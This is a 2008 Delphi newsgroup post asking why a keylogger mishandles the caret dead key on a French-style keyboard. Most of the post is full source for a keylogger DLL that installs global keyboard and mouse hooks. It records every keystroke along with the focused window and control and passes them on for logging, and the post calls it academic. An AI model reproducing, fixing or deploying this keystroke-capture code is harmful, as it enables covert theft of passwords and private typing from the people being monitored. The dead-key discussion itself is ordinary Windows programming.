Newsgroups : Borland : borland.public.delphi.nativeapi.win32 : 2008 Feb : Need help for an academic ' keylogger'
| Subject: | Need help for an academic ' keylogger' |
| Posted by: | "rap" (voldemot-minus th..@laposte.net) |
| Date: | Mon, 25 Feb 2008 12:18:57 |
::::::::::::::::::: CONTEXT ::::::::::::::::::::
On my keyboard (multilingual) i have this for some virtual keys:
VK_OEM_5 which is " | \ " for US give me a " à "
VK_OEM_2 which is " /? " for US give me a " é "
VK_OEM_7 whcih is " ' " " for US give me a " è "
Also, in non-US keyboard mappings, or in the US international keyboard, we
can use some keys to modify the character typed afterwards with an accent.
If i press one of these "accent" keys, a WM_DEADCHAR is generated and the
next WM_KEYDOWN of a vowel character will generate a WM_CHAR message with a
different char code representing the accented character.
This is the case for the caret. We get the accentuated " ê " applying the
method described above, pressing first the deadchar key VK_OEM_4 which is "
{[ " for US and than pressing the " e " or any other voyel afterward.
It is the only accentuated voyel that use a DEADCHAR first.
::::::::::::::: QUESTION:::::::::::::::::::::
I have a keylogger code (dll) for which i can get the caret written the way
it should . When the VK_OEM_4 key is pressed it produces a double caret
(^^) instead of being dead, and the following voyel is not accentuated. All
other OEM code are fine (none of them are dead key).
Here the code for the keylogger:
------------------------------------------------
library HooK_DLL;
uses
SysUtils,
Windows,
Messages,
Classes,
Dialogs;
{$R *.res}
type
PTMapFile = ^TMapFile;
TMapFile = record
HMouseHook: Cardinal; // Handle hook mouse
HKeybrdHook: Cardinal; // Handle hook keyboard
HMouseDestWindow : Cardinal; // Handle windows that call mouse kook
HKeybrdDestWindow : Cardinal; // Handle windows that call keyboard hook
end;
TMouseInfo = record
aMsg:WParam;
pt: TPoint;
hwnd: HWND;
wHitTestCode: UINT;
dwExtraInfo: DWORD;
end;
TKeybrdInfo = record
VirtualKey : Integer; // virtual code of the key
KeyStore : Integer; // state of key etc.(seer Sdk Windows-->
KeyboardProc)
CurrentProcessId: Cardinal; // id of the concerned process
CurrentControl: Cardinal; // Handle of the control that has focus
WindowHwnd: Cardinal; // Handle of the concerned windows
end;
var
HMapFile : Cardina l= 0; //Handle of the maped file
PMapFile : PTMapFile = nil; // pointer on memory zone
function MouseProc(Code: integer; Msg: WPARAM; MouseHook: LPARAM):LRESULT;
stdcall;
var
InfoEnvoye: TMouseInfo; // data sent
MouseStruct:TMouseHookStruct;
CopyDataStruct: TCopyDataStruct;
begin
Result:=0;
if Code= HC_ACTION then //if message has been received by the concerned
app.
begin
MouseStruct:= PMouseHookStruct(MouseHook)^;
if PMapFile^.HMouseDestWindow<>0 then
begin
InfoEnvoye.pt:=MouseStruct.pt;
InfoEnvoye.hWnd:=MouseStruct.hwnd;
InfoEnvoye.wHitTestCode:=MouseStruct.wHitTestCode;
InfoEnvoye.dwExtraInfo:=MouseStruct.dwExtraInfo;
InfoEnvoye.AMsg:= Msg;
CopyDataStruct.cbData:= SizeOf(InfoEnvoye);
CopyDataStruct.lpData:= @InfoEnvoye;
SendMessage(PMapFile.HMouseDestWindow,
WM_COPYDATA,0,LongInt(@CopyDataStruct));
end;
end;
if Code< HC_ACTION then Result:=
CallNextHookEx(PMapFile^.HMouseHook,Code,Msg,MouseHook);
end;
function BeginMouseHook(HDest: THandle):Boolean;stdcall;
begin
Result:= False;
if (HDest<>0) and (PMapFile^.HMouseHook=0) then
begin
// memorisation of the windows Handle that call the hook
PMapFile^.HMouseDestWindow:= HDest;
//initialisating mouse hook
PMapFile^.HMouseHook:=
SetWindowsHookEx(WH_MOUSE,@MouseProc,HInstance,0);
Result:= True;
end;
end;
procedure EndMouseHook ;stdcall;
begin
UnhookWindowsHookEx(PMapFile^.HMouseHook);
PMapFile^.HMouseDestWindow:=0;
PMapFile^.HMouseHook:=0;
end;
function KeyboardProc(Code: integer; VirtualKeyCode: WPARAM;
KeyStoreMsgInfo: LPARAM):LRESULT; stdcall;
var
KeybrdInfo: TKeybrdInfo;
CopyDataStruct: TCopyDataStruct;
begin
Result:=0;
if Code= HC_ACTION then //si le message a été reçu par l'application
concerné
begin
KeybrdInfo.VirtualKey:= VirtualKeyCode;
// to get arrow up / down working properly
if VirtualKeyCode = VK_DOWN then Exit else
if VirtualKeyCode = VK_UP then Exit else
// virtual code of the key
KeybrdInfo.KeyStore := KeyStoreMsgInfo; // relative info
KeybrdInfo.CurrentProcessId:= GetCurrentProcessId; // activ process
KeybrdInfo.CurrentControl:= GetFocus; // activ control
KeybrdInfo.WindowHwnd:= GetActiveWindow; // activ windows
{filling data to be sent to app}
CopyDataStruct.cbData:= SizeOf(KeybrdInfo);
CopyDataStruct.lpData:= @KeybrdInfo;
{envoie e la structure }
SendMessage(PMapFile^.HKeybrdDestWindow,WM_COPYDATA,1,LongInt(@CopyDataStruct));
end; {we send the value}
if Code< HC_ACTION then Result:=
CallNextHookEx(PMapFile^.HKeybrdHook,Code,VirtualKeyCode,KeyStoreMsgInfo);
end;
function BeginKeybrdHook(HDest: THandle): Boolean;stdcall;
begin
Result:= False;
if (HDest<>0) and (PMapFile^.HKeybrdHook=0) then
begin
// memorising thewindows Handle that call the hook
PMapFile^.HKeybrdDestWindow:= HDest;
// initialisating the mouse hook
PMapFile^.HKeybrdHook:=
SetWindowsHookEx(WH_KEYBOARD,@KeyboardProc,HInstance,0);
Result:= True;
end;
end;
procedure EndKeybrdHook;stdcall;
begin
UnhookWindowsHookEx(PMapFile^.HKeybrdHook);
PMapFile^.HKeybrdDestWindow:=0;
PMapFile^.HKeybrdHook:=0;
end;
Procedure LibraryProc(Reason:Integer);
begin
case Reason of
DLL_PROCESS_ATTACH: {if dll is being charged}
Begin {creating memory zone}
HMapFile :=
CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,sizeof(TMapFile),'NMB
HOOK');
{opening a view on data in memory}
PMapFile := MapViewOfFile(HMapFile,FILE_MAP_WRITE,0, 0,0);
end;
DLL_PROCESS_DETACH: {if dll is nearly being discharged}
begin
// killing the view on memory
UnmapViewOfFile(PMapFile);
// getting rid of share memory
CloseHandle(HMapFile);
end;
end;
end;
Exports EndMouseHook;
Exports BeginMouseHook;
Exports BeginKeybrdHook;
Exports EndKeybrdHook;
begin
DllProc:= @LibraryProc;
LibraryProc(DLL_PROCESS_ATTACH);
end.
==============================================
Any key or mouse move (cut/paste etc.) is written in a log with info
regarding parent windows/control..
Any SOLUTION for the VK_OEM_4 key ?
Thank you
PS: this code is purely for academic purpose.
================================